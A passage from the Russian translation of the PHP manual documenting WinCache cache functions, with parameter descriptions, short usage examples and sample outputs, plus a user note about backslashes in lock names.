  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии

User Contributed Notes

PrisonDoom 28-Jun-2019 10:04
The external link was off and the backslash "\" most of time are used for "scape character". Anyway, regards.
donraman at microsoft dot com 23-Apr-2010 06:11
User should be aware that character '\' is not allowed as part of lock name. The reason why backslash is not allowed is because we are using CreateMutex call as described at http://msdn.microsoft.com/en-us/library/ms682411(VS.85).aspx. As per this article third parameter cannot have '\' character which is the lock name.

This means below code will not work.

<?php

   $ret_val = wincache_lock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';
   $ret_val = wincache_unlock("C:\WINDOWS\Temp/cache");
   echo $ret_val . '<br>';

?>


Получает информацию о файлах, закешированных в кеше опкодов

  • « wincache_lock
  • wincache_ocache_meminfo »
  • PHP Manual
  • Функции WinCache
  • Получает информацию о файлах, закешированных в кеше опкодов

wincache_ocache_fileinfo

(PECL wincache >= 1.0.0)

wincache_ocache_fileinfo — Получает информацию о файлах, закешированных в кеше опкодов

Описание

wincache_ocache_fileinfo(bool $summaryonly = false): array|false

Получает информацию о содержимом кеша опкодов и его использовании.

Внимание

Эта функция УДАЛЕНА в PHP 7.0.0.

Список параметров

summaryonly

Определяет, будет ли возвращаемый массив содержать информацию об отдельных записях кеша вместе со сводкой кеша опкодов.

Возвращаемые значения

Массив метаданных о кеше опкодов или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • total_cache_uptime - общее время в секундах, в течение которого кеш опкода был активен.
  • total_file_count - общее количество файлов, которые в настоящее время находятся в кеше опкодов.
  • total_hit_count - количество раз, когда скомпилированный опкод был использован из кеша.
  • total_miss_count - количество раз, когда скомпилированный опкод не был найден в кеше.
  • is_local_cache - true, если метаданные кеша предназначены для экземпляра локального кеша, false, если метаданные предназначены для глобального кеша.

  • file_entries - массив, содержащий информацию обо всех закешированных файлах:

    • file_name - абсолютное имя закешированного файла.
    • add_time - время в секундах с момента добавления файла в кеш опкодов.
    • use_time - время в секундах с момента обращения к файлу в кеше опкодов.
    • last_check - время в секундах с момента проверки файла на наличие модификаций.
    • hit_count - количество раз, когда файл был использован из кеша.
    • function_count - количество функций в закешированном файле.
    • class_count - количество классов в закешированном файле.

Примеры

Пример #1 Пример использования wincache_ocache_fileinfo()

<pre>
<?php
print_r(wincache_ocache_fileinfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [file_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию об использовании кеш-памяти опкодов

  • « wincache_ocache_fileinfo
  • wincache_refresh_if_changed »
  • PHP Manual
  • Функции WinCache
  • Получает информацию об использовании кеш-памяти опкодов

wincache_ocache_meminfo

(PECL wincache >= 1.0.0)

wincache_ocache_meminfo — Получает информацию об использовании кеш-памяти опкодов

Описание

wincache_ocache_meminfo(): array|false

Получает информацию об использовании кеш-памяти опкодов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив метаданных об использовании кеш-памяти опкодов или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • memory_total - объём памяти в байтах, выделенный для кеша опкодов.
  • memory_free - объём свободной памяти в байтах, доступной для кеша опкодов.
  • num_used_blks - количество блоков памяти, используемых кешем опкодов.
  • num_free_blks - количество свободных блоков памяти, доступных для кеша опкодов.
  • memory_overhead - объём памяти в байтах, используемый для внутренних структур кеша опкодов.

Внимание

Эта функция УДАЛЕНА в PHP 7.0.0.

Примеры

Пример #1 Пример использования wincache_ocache_meminfo()

<pre>
<?php
print_r(wincache_ocache_meminfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [memory_total] => 134217728
    [memory_free] => 112106972
    [num_used_blks] => 15469
    [num_free_blks] => 4
    [memory_overhead] => 247600
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Обновляет записи кеша для закешированных файлов

  • « wincache_ocache_meminfo
  • wincache_rplist_fileinfo »
  • PHP Manual
  • Функции WinCache
  • Обновляет записи кеша для закешированных файлов

wincache_refresh_if_changed

(PECL wincache >= 1.0.0)

wincache_refresh_if_changed — Обновляет записи кеша для закешированных файлов

Описание

wincache_refresh_if_changed(array $files = NULL): bool

Обновляет записи кеша для файлов, имена которых были переданы во входном аргументе. Если аргумент не указан, обновляются все записи в кеше.

Список параметров

files

Массив имён файлов, которые необходимо обновить. Могут использоваться абсолютные или относительные пути к файлам.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

WinCache выполняет регулярные проверки закешированных файлов, чтобы гарантировать, что если какой-либо файл был изменён, то соответствующая запись в кеше будет обновлена. По умолчанию эта проверка выполняется каждые 30 секунд. Если, например, PHP-скрипт обновляет другой PHP-скрипт, в котором хранятся параметры конфигурации приложения, то может случиться так, что после сохранения параметров конфигурации в файл приложение по-прежнему будет использовать старые параметры в течение некоторого времени, пока не будет обновлён кеш. В таких случаях может быть предпочтительнее обновить кеш сразу после изменения файла. В следующем примере показано, как это можно сделать.

Пример #1 Пример использования wincache_refresh_if_changed()

<?php
$filename = 'C:\inetpub\wwwroot\config.php';
$handle = fopen($filename, 'w+');
if ($handle === FALSE) die('Failed to open file '.$filename.' for writing');
fwrite($handle, '<?php $setting=something; ?>');
fclose($handle);
wincache_refresh_if_changed(array($filename));
?>

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о разрешении кеша пути к файлу разрешения

  • « wincache_refresh_if_changed
  • wincache_rplist_meminfo »
  • PHP Manual
  • Функции WinCache
  • Получает информацию о разрешении кеша пути к файлу разрешения

wincache_rplist_fileinfo

(PECL wincache >= 1.0.0)

wincache_rplist_fileinfo — Получает информацию о разрешении кеша пути к файлу разрешения

Описание

wincache_rplist_fileinfo(bool $summaryonly = false): array|false

Получает информацию о закешированных сопоставлениях между относительными путями к файлам и соответствующими абсолютными путями к файлам.

Список параметров

summaryonly

Возвращаемые значения

Массив метаданных о кеше пути к файлу разрешения или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • total_file_count - общее количество сопоставлений пути к файлу, хранящихся в кеше.

  • rplist_entries - массив, содержащий информацию обо всех путях закешированных файлов:

    • resolve_path - путь к файлу.
    • subkey_data - соответствующий абсолютный путь к файлу.

Примеры

Пример #1 Пример использования wincache_rplist_fileinfo()

<pre>
<?php
print_r(wincache_rplist_fileinfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [total_file_count] => 5
    [rplist_entries] => Array
        (
            [1] => Array
                (
                    [resolve_path] => checkcache.php
                    [subkey_data] => c:\inetpub\wwwroot|c:\inetpub\wwwroot\checkcache.php
                )

            [2] => Array (...iterates for each cached file)
        )
)

Смотрите также

  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения

  • « wincache_rplist_fileinfo
  • wincache_scache_info »
  • PHP Manual
  • Функции WinCache
  • Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения

wincache_rplist_meminfo

(PECL wincache >= 1.0.0)

wincache_rplist_meminfo — Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения

Описание

wincache_rplist_meminfo(): array|false

Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив метаданных, описывающий использование памяти с помощью кеша пути к файлу разрешения или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • memory_total - объём памяти в байтах, выделенный для кеша пути к файлу разрешения.
  • memory_free - объём свободной памяти в байтах, доступной для кеша пути к файлу разрешения.
  • num_used_blks - количество блоков памяти, используемых кешем пути к файлу разрешения.
  • num_free_blks - количество свободных блоков памяти, доступных для кеша пути к файлу разрешения.
  • memory_overhead - объём памяти в байтах, используемый для внутренних структур кеширования пути к файлу разрешения.

Примеры

Пример #1 Пример использования wincache_rplist_meminfo()

<pre>
<?php
print_r(wincache_rplist_meminfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [memory_total] => 9437184
    [memory_free] => 9416744
    [num_used_blks] => 23
    [num_free_blks] => 1
    [memory_overhead] => 416
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о файлах, закешированных в кеше сессии

  • « wincache_rplist_meminfo
  • wincache_scache_meminfo »
  • PHP Manual
  • Функции WinCache
  • Получает информацию о файлах, закешированных в кеше сессии

wincache_scache_info

(PECL wincache >= 1.1.0)

wincache_scache_info — Получает информацию о файлах, закешированных в кеше сессии

Описание

wincache_scache_info(bool $summaryonly = false): array|false

Получает информацию о содержимом кеша сессии и его использовании.

Список параметров

summaryonly

Определяет, будет ли возвращаемый массив содержать информацию об отдельных записях кеша вместе со сводкой кеша сессии.

Возвращаемые значения

Массив метаданных о кеше сессии или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • total_cache_uptime - общее время в секундах, в течение которого кеш сессии был активен.
  • total_item_count - общее количество элементов, которые в настоящее время находятся в кеше сессии.
  • is_local_cache - true, если метаданные кеша предназначены для экземпляра локального кеша, false, если метаданные предназначены для глобального кеша.
  • total_hit_count - количество раз, когда данные были обработаны из кеша.
  • total_miss_count - количество раз, когда данные не были найдены в кеше.

  • scache_entries - массив, содержащий информацию обо всех закешированных элементах:

    • key_name - имя ключа, который используется для хранения данных.
    • value_type - тип значения, хранимого ключом.
    • use_time - время в секундах с момента обращения к файлу в кеше опкодов.
    • last_check - время в секундах с момента проверки файла на наличие модификаций.
    • ttl_seconds - время, оставшееся для данных, чтобы оставаться в кеше, 0 означает бесконечность.
    • age_seconds - время, прошедшее с момента добавления данных в кеш.
    • hitcount - количество раз, когда данные были получены из кеша.

Примеры

Пример #1 Пример использования wincache_scache_info()

<pre>
<?php
print_r(wincache_scache_info());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [total_cache_uptime] => 17357
    [total_file_count] => 121
    [total_hit_count] => 36562
    [total_miss_count] => 201
    [scache_entries] => Array
        (
            [1] => Array
                (
                    [file_name] => c:\inetpub\wwwroot\checkcache.php
                    [add_time] => 17356
                    [use_time] => 7
                    [last_check] => 10
                    [hit_count] => 454
                    [function_count] => 0
                    [class_count] => 1
                )
            [2] => Array (...iterates for each cached file)
        )
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_meminfo() - Получает информацию об использовании кеш-памяти опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_meminfo() - Получает информацию об использовании кеш-памяти сессии

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию об использовании кеш-памяти сессии

  • « wincache_scache_info
  • wincache_ucache_add »
  • PHP Manual
  • Функции WinCache
  • Получает информацию об использовании кеш-памяти сессии

wincache_scache_meminfo

(PECL wincache >= 1.1.0)

wincache_scache_meminfo — Получает информацию об использовании кеш-памяти сессии

Описание

wincache_scache_meminfo(): array|false

Получает информацию об использовании памяти кешем сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив метаданных об использовании кеш-памяти сессии или false в случае возникновения ошибки.

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • memory_total - объём памяти в байтах, выделенный для кеш-памяти сессии.
  • memory_free - объём свободной памяти в байтах, доступной для кеш-памяти сессии.
  • num_used_blks - количество блоков памяти, используемых кешем сессии.
  • num_free_blks - количество свободных блоков памяти, доступных для кеша сессии.
  • memory_overhead - объём памяти в байтах, используемый для внутренних структур кеша сессии.

Примеры

Пример #1 Пример использования wincache_scache_meminfo()

<pre>
<?php
print_r(wincache_scache_meminfo());
?>
</pre>

Результат выполнения данного примера:

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

Смотрите также

  • wincache_fcache_fileinfo() - Получает информацию о файлах, закешированных в файловом кеше
  • wincache_fcache_meminfo() - Получает информацию об использовании памяти файлового кеша
  • wincache_ocache_fileinfo() - Получает информацию о файлах, закешированных в кеше опкодов
  • wincache_rplist_fileinfo() - Получает информацию о разрешении кеша пути к файлу разрешения
  • wincache_rplist_meminfo() - Получает информацию об использовании памяти с помощью кеша пути к файлу разрешения
  • wincache_refresh_if_changed() - Обновляет записи кеша для закешированных файлов
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • wincache_scache_info() - Получает информацию о файлах, закешированных в кеше сессии

User Contributed Notes

There are no user contributed notes for this page.


Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше

  • « wincache_scache_meminfo
  • wincache_ucache_cas »
  • PHP Manual
  • Функции WinCache
  • Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше

wincache_ucache_add

(PECL wincache >= 1.1.0)

wincache_ucache_add — Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше

Описание

wincache_ucache_add(string $key, mixed $value, int $ttl = 0): bool
wincache_ucache_add(array $values, mixed $unused = NULL, int $ttl = 0): bool

Добавляет переменную в пользовательский кеш, только если эта переменная ещё не существует в кеше. Добавленная переменная остаётся в пользовательском кеше, пока не истечёт срок её действия или она не будет удалена с помощью функций wincache_ucache_delete() или wincache_ucache_clear().

Список параметров

key

Сохраняет переменную с использованием этого имени key. Если переменная с таким же key уже существует, завершится ошибкой и вернёт false. key чувствителен к регистру. Чтобы переопределить значение, даже если key уже существует, используйте функцию wincache_ucache_set(). key также может принимать массив пар имя => значение, где имена будут использоваться в качестве ключей. Это можно использовать для добавления нескольких значений в кеш за одну операцию, что позволяет избежать состояния гонки.

value

Значение переменной, которую необходимо сохранить. Value поддерживает все типы данных, кроме ресурсов, таких как дескрипторы файлов. Параметр игнорируется, если первым аргументом является массив. Общее руководство - передать null в качестве value при использовании массива key. Если value является объектом или массивом, содержащим объекты, то объекты будут сериализованы. Подробнее о сериализации объектов смотрите в описании __sleep().

values

Ассоциативный массив ключей и значений.

ttl

Время, в течение которого переменная находится в кеше, в секундах. После того, как значение, указанное в ttl будет передано, сохранённая переменная будет удалена из кеша. Параметр принимает значение по умолчанию 0, что означает, что переменная останется в кеше, пока она не будет явно удалена с помощью функций wincache_ucache_delete() или wincache_ucache_clear().

Возвращаемые значения

Если key является строкой, функция возвращает true в случае успешного выполнения и false в случае возникновения ошибки.

Если key является массивом, функция возвращает:

  • Если все пары имя => значение в массиве могут быть установлены, функция возвращает пустой массив;
  • Если все пары имя => значение в массиве не могут быть установлены, функция возвращает false;
  • Если некоторые из них могут быть установлены, а другие - нет, функция возвращает массив с парами name => value, которые не удалось добавить в пользовательский кеш.

Примеры

Пример #1 Пример использования wincache_ucache_add() с key в виде строки

<?php
$bar = 'BAR';
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_add('foo', $bar));
var_dump(wincache_ucache_get('foo'));
?>

Результат выполнения данного примера:

bool(true)
bool(false)
string(3) "BAR"

Пример #2 Пример использования wincache_ucache_add() с key в виде массива

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_add($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

Результат выполнения данного примера:

array(0) { }
array(4) {
  ["green"]=> int(-1)
  ["Blue"]=> int(-1)
  ["yellow"]=> int(-1)
  ["cyan"]=> int(-1)
}
string(1) "6"

Смотрите также

  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше
  • __sleep()

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает переменную со старым значением и присваивает ей новое значение

  • « wincache_ucache_add
  • wincache_ucache_clear »
  • PHP Manual
  • Функции WinCache
  • Сравнивает переменную со старым значением и присваивает ей новое значение

wincache_ucache_cas

(PECL wincache >= 1.1.0)

wincache_ucache_cas — Сравнивает переменную со старым значением и присваивает ей новое значение

Описание

wincache_ucache_cas(string $key, int $old_value, int $new_value): bool

Сравнивает переменную, связанную с key с old_value и, если она совпадает, присваивает ей new_value.

Список параметров

key

key, который использовался для сохранения переменной в кеш. key чувствителен к регистру.

old_value

Старое значение переменной, на которую указывает key в пользовательском кеше. Значение должно быть типа long, иначе функция вернёт false.

new_value

Новое значение, которое будет присвоено указателю переменной key, если будет найдено совпадение. Значение должно быть типа long, иначе функция вернёт false.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wincache_ucache_cas()

<?php
wincache_ucache_set('counter', 2922);
var_dump(wincache_ucache_cas('counter', 2922, 1));
var_dump(wincache_ucache_get('counter'));
?>

Результат выполнения данного примера:

bool(true)
int(1)

Смотрите также

  • wincache_ucache_inc() - Увеличивает значение, связанное с ключом
  • wincache_ucache_dec() - Уменьшает значение, связанное с ключом

User Contributed Notes

There are no user contributed notes for this page.


Удаляет всё содержимое пользовательского кеша

  • « wincache_ucache_cas
  • wincache_ucache_dec »
  • PHP Manual
  • Функции WinCache
  • Удаляет всё содержимое пользовательского кеша

wincache_ucache_clear

(PECL wincache >= 1.1.0)

wincache_ucache_clear — Удаляет всё содержимое пользовательского кеша

Описание

wincache_ucache_clear(): bool

Очищает/удаляет все значения, хранящиеся в пользовательском кеше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wincache_ucache_clear()

<?php
wincache_ucache_set('green', 1);
wincache_ucache_set('red', 2);
wincache_ucache_set('orange', 4);
wincache_ucache_set('blue', 8);
wincache_ucache_set('cyan', 16);
$array1 = array('green', 'red', 'orange', 'blue', 'cyan');
var_dump(wincache_ucache_get($array1));
var_dump(wincache_ucache_clear());
var_dump(wincache_ucache_get($array1));
?>

Результат выполнения данного примера:

array(5) { ["green"]=> int(1)
           ["red"]=> int(2)
           ["orange"]=> int(4)
           ["blue"]=> int(8)
           ["cyan"]=> int(16) }
bool(true)
bool(false)

Смотрите также

  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_add() - Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает значение, связанное с ключом

  • « wincache_ucache_clear
  • wincache_ucache_delete »
  • PHP Manual
  • Функции WinCache
  • Уменьшает значение, связанное с ключом

wincache_ucache_dec

(PECL wincache >= 1.1.0)

wincache_ucache_dec — Уменьшает значение, связанное с ключом

Описание

wincache_ucache_dec(string $key, int $dec_by = 1, bool &$success = ?): mixed

Уменьшает значение, связанное с key на 1 или как указано в dec_by.

Список параметров

key

key, который использовался для сохранения переменной в кеш. key чувствителен к регистру.

dec_by

Значение, на которое должна быть уменьшена переменная, связанная с key. Если аргумент является числом с плавающей точкой, он будет усечён до ближайшего целого числа. Переменная, связанная с key, должна иметь тип long, иначе функция завершится ошибкой и вернёт false.

success

Будет установлено значение true в случае успешного выполнения и false в случае возникновения ошибки.

Возвращаемые значения

Возвращает уменьшенное значение в случае успешного выполнения и false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования wincache_ucache_dec()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_dec('counter', 2923, $success));
var_dump($success);
?>

Результат выполнения данного примера:

int(2922)
bool(true)

Смотрите также

  • wincache_ucache_inc() - Увеличивает значение, связанное с ключом
  • wincache_ucache_cas() - Сравнивает переменную со старым значением и присваивает ей новое значение

User Contributed Notes

There are no user contributed notes for this page.


Удаляет переменные из пользовательского кеша

  • « wincache_ucache_dec
  • wincache_ucache_exists »
  • PHP Manual
  • Функции WinCache
  • Удаляет переменные из пользовательского кеша

wincache_ucache_delete

(PECL wincache >= 1.1.0)

wincache_ucache_delete — Удаляет переменные из пользовательского кеша

Описание

wincache_ucache_delete(mixed $key): bool

Удаляет элементы из пользовательского кеша, на которые указывает параметр key.

Список параметров

key

Параметр key, который использовался для хранения переменной в кеше. key чувствителен к регистру. key может быть массивом ключей.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Если параметр key является массивом, функция возвращает false, если не удаётся удалить каждый элемент массива из пользовательского кеша, в противном случае возвращается массив, состоящий из всех удалённых ключей.

Примеры

Пример #1 Пример использования wincache_ucache_delete() с key в виде строки

<?php
wincache_ucache_set('foo', 'bar');
var_dump(wincache_ucache_delete('foo'));
var_dump(wincache_ucache_exists('foo'));
?>

Результат выполнения данного примера:

bool(true)
bool(false)

Пример #2 Пример использования wincache_ucache_delete() с key в виде массива

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('green', 'blue', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

Результат выполнения данного примера:

array(4) { [0]=> string(5) "green"
           [1]=> string(4) "Blue"
           [2]=> string(6) "yellow"
           [3]=> string(4) "cyan" }

Пример #3 Пример использования wincache_ucache_delete() с key в виде массива, из которого нельзя удалить некоторые элементы

<?php
$array1 = array('green' => '5', 'blue' => '6', 'yellow' => '7', 'cyan' => '8');
wincache_ucache_set($array1);
$array2 = array('orange', 'red', 'yellow', 'cyan');
var_dump(wincache_ucache_delete($array2));
?>

Результат выполнения данного примера:

array(2) { [0]=> string(6) "yellow"
           [1]=> string(4) "cyan" }

Смотрите также

  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_add() - Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_exists() - Проверяет, существует ли переменная в пользовательском кеше
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли переменная в пользовательском кеше

  • « wincache_ucache_delete
  • wincache_ucache_get »
  • PHP Manual
  • Функции WinCache
  • Проверяет, существует ли переменная в пользовательском кеше

wincache_ucache_exists

(PECL wincache >= 1.1.0)

wincache_ucache_exists — Проверяет, существует ли переменная в пользовательском кеше

Описание

wincache_ucache_exists(string $key): bool

Проверяет, существует ли переменная key в пользовательском кеше или нет.

Список параметров

key

Параметр key, который использовался для хранения переменной в кеше. key чувствителен к регистру.

Возвращаемые значения

Возвращает true, если переменная с key существует, в противном случае возвращает false.

Примеры

Пример #1 Пример использования wincache_ucache_exists()

<?php
if (!wincache_ucache_exists('green'))
wincache_ucache_set('green', 1);
var_dump(wincache_ucache_exists('green'));
?>

Результат выполнения данного примера:

bool(true)

Смотрите также

  • wincache_ucache_set() - Добавляет переменную в пользовательский кеш и перезаписывает переменную, если она уже существует в кеше
  • wincache_ucache_add() - Добавляет переменную в пользовательский кеш, только если переменная ещё не существует в кеше
  • wincache_ucache_get() - Получает переменную, хранящуюся в пользовательском кеше
  • wincache_ucache_clear() - Удаляет всё содержимое пользовательского кеша
  • wincache_ucache_delete() - Удаляет переменные из пользовательского кеша
  • wincache_ucache_meminfo() - Получает информацию об использовании памяти пользовательского кеша
  • wincache_ucache_info() - Получает информацию о данных, хранящихся в пользовательском кеше

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную, хранящуюся в пользовательском кеше

  • « wincache_ucache_exists
  • wincache_ucache_inc »
  • PHP Manual
  • Функции WinCache
  • Получает переменную, хранящуюся в пользовательском кеше

wincache_ucache_get

(PECL wincache >= 1.1.0)

wincache_ucache_get — Получает переменную, хранящуюся в пользовательском кеше

Описание

wincache_ucache_get(mixed $key, bool &$success = ?): mixed

Получает переменную, хранящуюся в пользовательском кеше.

Список параметров

key

Параметр key, который использовался для хранения переменной в кеше. key чувствителен к регистру. key может быть массивом ключей. В этом случае возвращаемое значение будет массивом значений каждого элемента в массиве key. Если возвращается объект или массив, содержащий объекты, то объекты будут десериализованы. Подробнее о десериализации объектов смотрите __wakeup().

success

Будет установлено значение true в случае успешного выполнения или false в случае возникновения ошибки.

Возвращаемые значения

